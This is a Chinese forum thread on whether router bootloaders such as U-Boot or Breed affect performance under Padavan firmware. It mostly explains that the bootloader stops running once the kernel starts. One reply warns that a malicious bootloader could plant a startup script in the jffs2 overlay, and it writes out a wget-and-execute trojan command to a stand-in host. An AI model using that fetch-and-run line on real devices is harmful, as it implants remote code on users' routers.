uboot对路由器性能有影响吗？

an***

最近有一个问题，用padavan固件，官方uboot点重启有一定可能会死，除了官方uboot还有其它一些比如breed，不死uboot等等。有一个问题就是不同的uboot对路由器运行时的性能有影响吗？路由器操作系统运行时是不是需要uboot参与？还是uboot只负责引导？如果有影响，哪个uboot运行时表现更好呢？或者怎么可以测试？请大神指点。

hackp***

就目前已知的而言，只有IBM的PC兼容机在运行Windows 9X或者之前的系统时，BIOS才可能影响系统，因为这些系统不过是运行于DOS上的外壳(Shell)罢了，因此还会用到BIOS中断。这是历史原因造成的，操作系统必须保证BIOS在内存中的完整性。
从 Windows NT 架构开始，只要 Windows 启动，那么BIOS就不再会被使用，甚至被覆盖掉（主要指内存中的中断向量表），他也就不再对操作系统造成影响。
实际上在 Windows 9X 里面BIOS也不是一直在跑，只有在调用BIOS中断时BIOS的中断服务代码才会得到执行权限，中断响应完毕，CPU控制权会立即交还给操作系统。

至于其他的CPU架构，ARM、MIPS等等，则完全不存在这个问题，只要固件的内核启动，那么bootloader就立即失去作用，除非重启不然永远不会再次运行，因为内核启动后就会破坏bootloader的运行环境。

因此“bootloader运行时还要做一些事情”只是在x86上的一种特殊情况。


至于 bootloader 对系统的影响，就路由器来说一般只有两个方面：一是CPU/内存频率，二是内存初始化。

CPU频率是bootloader在启动的最初阶段设定的，一般来说固件是不会改动的；
内存初始化也是由bootloader在启动的最初阶段完成的，因为bootloader需要将自身复制到内存中才能继续运行。

如果bootloader设定CPU/内存频率不准确，或者初始化内存时给内存的参数不准确，那么可能造成固件运行时不稳定，但这是极为少见的，基本不用担心。


至于 led，那是固件设定的，这个锅 bootloader 不背。
同理网口顺序也是由固件设定的，wan口位置颠倒的锅bootloader也不背。


总而言之，bootloader对固件使用乃至路由性能没有什么影响。（一些极端的情况就不考虑了，因为实在是太少见）

ht***

html 发表于 2015-12-31 13:58
bootloader 可以修改固件放入或者改点东西吧，比如简单的修改 rootfs_data (也就是overlay的upperdir) 加 ...

那个楼主一直没说啥，还有可能是设备来路不正，或者固件来路不正

ht***

html 发表于 2015-12-31 13:58
bootloader 可以修改固件放入或者改点东西吧，比如简单的修改 rootfs_data (也就是overlay的upperdir) 加 ...

jffs2真不算复杂，把原来的启动脚本所在的单元标成unused， 提前构造好压缩的数据放到free_list里面。 这样一个启动脚本就加进去了。留给bootloader的空间完全够干这个

ht***

html 发表于 2015-12-31 13:58
bootloader 可以修改固件放入或者改点东西吧，比如简单的修改 rootfs_data (也就是overlay的upperdir) 加 ...

不用在bootloader里面判断固件类型啊，也不用实现完整的jffs2文件系统啊
简单的写个rc.local，里面写上 wget http://muma.com/muma.sh && sh muma.sh，就嫩植入木马了。
然后通过这个脚本就能随意发挥了。
再想想bootloader能改mac pin，能复位系统，能刷系统固件 art，还能刷自身。
所以说通过 bootloader 做坏事是完全有可能的

ht***

hackpascal 发表于 2015-12-28 22:01
就目前已知的而言，只有IBM的PC兼容机在运行Windows 9X或者之前的系统时，BIOS才可能影响系统，因为这些系 ...

bootloader 可以修改固件放入或者改点东西吧，比如简单的修改 rootfs_data (也就是overlay的upperdir) 加个开机脚本运行点东西， 隐藏深点的修改内核，再高级点可以在某个地方（内存或者flash里面）放点特殊代码让系统去执行。最后这个即便用编程器读出固件对比也发现不了什么的。

这里已经发现一个路由器被黑的家伙了 http://bbs.mydigit.cn/read.php?tid=1507151  访问淘宝的数据都被重定向到某个IP了，什么渠道被黑的还没问出来。
最危险的就是用来路不明的固件了。

lia***

我投“没有影响”

苍***

没有影响

an***

hackpascal 发表于 2015-12-28 22:01
就目前已知的而言，只有IBM的PC兼容机在运行Windows 9X或者之前的系统时，BIOS才可能影响系统，因为这些系 ...

谢大神指点

an***

隶笔难书 发表于 2015-12-28 21:31
这个呢不好说。如果说和电脑的BIOS一个道理，那么可以会有一定影响，因为某写BIOS会引起各种问题比如游戏过 ...

等大神ing

an***

hcy42003 发表于 2015-12-28 21:12
大神你自己都不清楚，，，还扣我分。。。555555555.。。。。我说的是实话，希望小菜鸟们不要在意这些细节 ...

我不是做这个的，只是偶尔玩

隶笔***

这个呢不好说。如果说和电脑的BIOS一个道理，那么可以会有一定影响，因为某写BIOS会引起各种问题比如游戏过后风扇不转啊，个别Qq版本不能使用啊，这个我都是看见华硕笔记本BIOS修复记录里面的，具体是什么引起的我还是不清楚。那么路由的boot会不会影响也只有开发人员才知道了！

hcy4***

anoid 发表于 2015-12-28 20:21
不同uboot，Y1S同一个固件的LED灯响应可能不太一样，有差别也不影响大家用不死，毕竟某些方面可能有优势 ...

大神你自己都不清楚，，，还扣我分。。。555555555.。。。。我说的是实话，希望小菜鸟们不要在意这些细节，希望我们这些小菜鸟，抓住重点学习，学会编译，学会改配置，学会改源码，学会NADA FLASH地址刷固件，学会TLL焊接，学会更换闪存，学会改装主板，，， 等等等等。

时间宝贵，等成为了真大神，再研究uboot是不是耗资源、占cpu、占内存、占带宽。

an***

hcy42003 发表于 2015-12-28 19:45
别问这么低级的问题，要是有影响，大家还刷什么不死

不同uboot，Y1S同一个固件的LED灯响应可能不太一样，有差别也不影响大家用不死，毕竟某些方面可能有优势。我不清楚系统运行的时候，uboot有没有在跑，还是初始化的问题。

hcy4***

别问这么低级的问题，要是有影响，大家还刷什么不死